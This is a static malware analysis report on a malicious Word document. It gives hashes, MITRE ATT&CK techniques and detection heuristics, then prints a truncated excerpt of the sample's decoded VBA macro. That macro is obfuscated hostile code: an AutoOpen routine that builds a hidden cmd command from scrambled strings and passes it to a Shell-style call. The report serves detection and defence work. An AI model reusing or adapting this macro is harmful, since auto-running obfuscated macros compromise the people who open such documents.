Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cacb336645c270a4…

MALICIOUS

Office (OLE)

117.8 KB Created: 2018-09-26 07:22:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: b9143bc5d5c787c5c12c612af8ca2469 SHA-1: fbfc23f789a50ab61d8399a70828ef44d4b8bee6 SHA-256: cacb336645c270a4f9d4a51e6a2b794c269f1078aa36ebdb763f59cc79c15755
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The macro code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the Shell() call is a critical indicator of malicious intent. No specific family could be confidently identified due to the obfuscation.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 76210 bytes
SHA-256: 001ff89ef1c1ce0c0d6be581b683c04aa7bff43844d2e8dfbd716af2152f278e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iMjhdaonBFV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim kzdSG(2)
kzdSG(0) = Right(ASRQQ + TzNwWctiZupIBEpQzOP + RGlEGKd, 962) + Left(wCfmvk + fEYQjvhIbzVhEfProXJv + rDCGWt, 617)
kzdSG(1) = MidB(joFAZ + ZBBwwuvvHjtmIctpwt + hTwYURd, 596, 808) + Right(wItzbHI + ONmjZfdHkoPTfzKad + pnHkNPi, 345) + MidB(mQXUjPzG + XFRPAaRiwicsmcpAQzpDB + rzziLTr, 346, 84) + Right(sjUpMn + JYlwjKFWAiCQBaSvlP + inikFfb, 739)
   Dim aHYzjr(1)
aHYzjr(0) = Mid(GlpmW + swordphMYYPoJwVhqzoFc + NkTiamCU, 710, 997) + MidB(TwtZL + cbCbsQpRaEtLswOdwlMU + MmCkwZc, 575, 392)
   Dim KIbpJ(1)
KIbpJ(0) = Mid(tjGURiU + idXPHwjHOEUArVVRon + nbasYsUT, 301, 995) + MidB(AzHIjMvh + QtFrdwNDXtojoYnnupUm + uNMlbs, 129, 877) + Right(hmjPX + qqBLNbuoHuAGZdjjARh + vodAzrY, 297) + MidB(ivfCjul + kLtrPaNDoFvJKOQbuwifMaR + aCoPatva, 32, 940)
   Dim QNhVY(1)
QNhVY(0) = Mid(Xzrfj + NpGYGnroWwRETmonWjb + PiYPJjL, 206, 712) + MidB(ShRwpfj + XGLtliqvkGmwXOcXH + jbsTpvpz, 813, 944) + Left(JJXfijC + AWoWHIaDMRAjaRkjBz + kOQzA, 690) + Mid(FqYfFDwi + XmkkhZndMwSTQEIqJaq + MJKudw, 389, 43)
MqOnUUAvmi (KeyString(TJGCSvBN + ViFFRT + 21 + 14 + 32 + rzpYzDJC + ZuOhj) + JuXzAj + JMEZio + KeyString(sJTHv + sQtwo + 24 + 16 + 37 + nwlmH + urPoIoqE) + wXqijpBisMW + GzOfYAdGkO + YcnGap + nBlXii + BbGUDkLR + osaihUl + HEKwrCj)
   Dim GUpwj(1)
GUpwj(0) = MidB(NRzlnwS + kqWRGCvrbinBWrSiMDGP + vfpjsTw, 328, 55) + MidB(AQESRtH + vLunLvjnGiafkKJwHfWzm + aNMuJz, 138, 858) + MidB(kBVznKm + MUftIfIARYOlUTb + iTnzaYMt, 21, 399) + Right(CfMFvTD + qGaMXbmcTjCwbsTkrlHjz + cBjZA, 462)
   Dim oNMmD(2)
oNMmD(0) = MidB(KYBliD + YPzTzsadZOwkCLJfmfU + nRbjiL, 107, 111) + MidB(IKAFtaG + NozpHVhZYRoDViRzvRTI + usSGP, 102, 629) + Right(jbpcTOz + hHsEpQZIHrRulMcPTJ + wRpIpGw, 709) + MidB(naTKpDC + wZAUlSqGlhSWOmzHjEKWt + FEbWY, 249, 741)
oNMmD(1) = Right(LvzDNX + zQNQLwODuzzlDipNPjMU + sLApwu, 225) + Left(WdXqtH + USpEkHOYYKBHmvTlONHAlL + iLnwGCP, 851) + MidB(NIDMaXWB + khqsawGMSDtKDkbDwr + rkKhCnki, 693, 460) + Left(wUvWkEJf + TqcBWmuzTqowIPownTVKfOi + TtiOI, 75)
   Dim wPTdd(1)
wPTdd(0) = Left(VQPnPccB + pEdtwdovkFdBUfOKTLPa + EVdWf, 530) + Mid(jMcDXCpq + PlrOXtuOrozZdljzSQIw + fSQIMU, 560, 438)
End Sub


Attribute VB_Name = "FAQzkminFH"
Function wXqijpBisMW()
Dim RwaIF(1)
RwaIF(0) = Mid(RtwSLk + HGwqStNkOpZmBdrupoHsGj + MBwDnQ, 909, 106) + Right(svUbkptP + PPhSUqFzNsKbXdLCJrwwR + ZODSzqUM, 118)
   Dim jiwKS(2)
jiwKS(0) = Right(HiTwzY + NCmTRPLRrYjOBRjsFcF + qjKYcc, 324) + Left(RcRamf + KfStZCtEfQfIDOck + vpatRzZ, 458)
jiwKS(1) = Left(BolSaji + FfXzAzRUOLJvwqrAIFj + APrMmh, 439) + Left(GzHXr + zjEJdVFpDkodIKIzkIF + rbzowaq, 966) + Left(IVbLm + BIjziDiazPluISSBXR + MlXWACz, 974) + Left(aGzrpJ + FYcbDbVOJtlHsKLKjDjc + cOiwRdIj, 565)
   Dim SUZwsk(1)
SUZwsk(0) = MidB(JZWKjANQ + csDVwLfpUSNMTOPCsHs + NLclTXOf, 157, 242) + MidB(tCDpGK + jwNCdOwOPOjFIiALSGnF + OYLLMl, 948, 683)
QRmuaqAUT = "d /\ /\\ \/\\/ /V:O" + "/C" + """" + "set `]{" + "*=02a7 270a 7a02 70a"
Dim liwAl(1)
liwAl(0) = Right(FkKiwSUd + qZvijbMRvjkEijsdOjRrnt + jidwzK, 915) + Right(WWEGjJU + VjjCDizkBZiHljJnzj + ruVHh, 447) + MidB(zzfYdl + pNzZtNDkhvDzjuXoHijB + cckcN, 872, 486) + Mid(wlhAPir + AbaZQDdGwWwWTRlT + nWBUiJ, 902, 884)
ciANwWSd = "2 2a70 27a0 2a70 70" + "a2 072a 0a72" + " 72a0 27a0 a2" + "07 a720 207a 7a"
Dim nTOKo(1)
nTOKo(0) = Left(iSzAwm + zXAYvczGEzbilcti + KDCnPK, 312) + MidB(IaAJGvq + CKTHGrwjoMXDHIdzljJMf + XabwivsR, 525, 834)
   Dim cJABf(1)
cJABf(0) = Right(jZknd + qYKhzsXzMEZFijzlGU + VoPam, 268) + Right(tWmrk + KSsJKwFzcmQApOrMoti + FMMLDSq, 184)
NwnEcGjWkfr = "02 72a0 20a7}07a2}7" + "02a{2a70h07a" + "2c7a20t720aa7a20ca" + "720}72a0;70a" + "2k27a0a02a7ea270r70"
Dim QDGjP(1)
QDGjP(0) = Right(GfOEZc + hXwTnuEabQQhMzYMjdzqXD + LOcsA, 889) + MidB(bNKnUMZ + zVouhMBQWEihassQzjQW + WHhkrWD, 372, 726) + MidB(NHdUPqj + wumtBbJiUjwimiQYA + vCiYlO, 910, 647
... (truncated)

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